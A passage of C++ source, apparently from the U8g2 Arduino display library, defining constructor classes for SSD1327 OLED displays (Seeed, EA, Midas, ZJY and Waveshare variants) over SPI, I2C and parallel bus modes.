d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_SEEED_96X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_SEEED_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    